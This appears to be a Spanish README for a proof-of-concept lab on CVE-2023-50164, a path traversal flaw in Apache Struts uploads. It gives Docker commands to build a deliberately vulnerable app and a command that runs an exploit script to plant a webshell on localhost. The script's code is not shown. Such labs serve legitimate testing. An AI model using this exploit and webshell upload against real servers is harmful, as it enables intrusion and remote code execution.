
Aplicación PoC de CVE-2023-50164 y script de explotación
Este repositorio es una prueba de concepto (PoC) de la vulnerabilidad CVE-2023-50164.
CVE-2023-50164 es una vulnerabilidad de salto de ruta de archivo (path traversal) que se produce en la aplicación web Apache Struts.
Un atacante podría explotar esta vulnerabilidad para subir un archivo malicioso (WebShell u otro malware) a una ubicación arbitraria y realizar ataques secundarios como la ejecución remota de código.
La aplicación web vulnerable, StrutsUploadApp, está contenerizada usando Docker. Siga estos pasos para construir y desplegar el entorno.
Utilice el Dockerfile proporcionado para construir la imagen Docker de StrutsUploadApp.
docker build -t struts-upload-app .
docker run -d -p 8080:8080 --name StrutsUploadApp struts-upload-app
Ejecute el script de explotación para desencadenar la vulnerabilidad.
python exploit.py --url=http://localhost:8080/StrutsUploadApp/upload.action \
--file=webshell.jsp \
--file-parameter=upload \
--attempts=5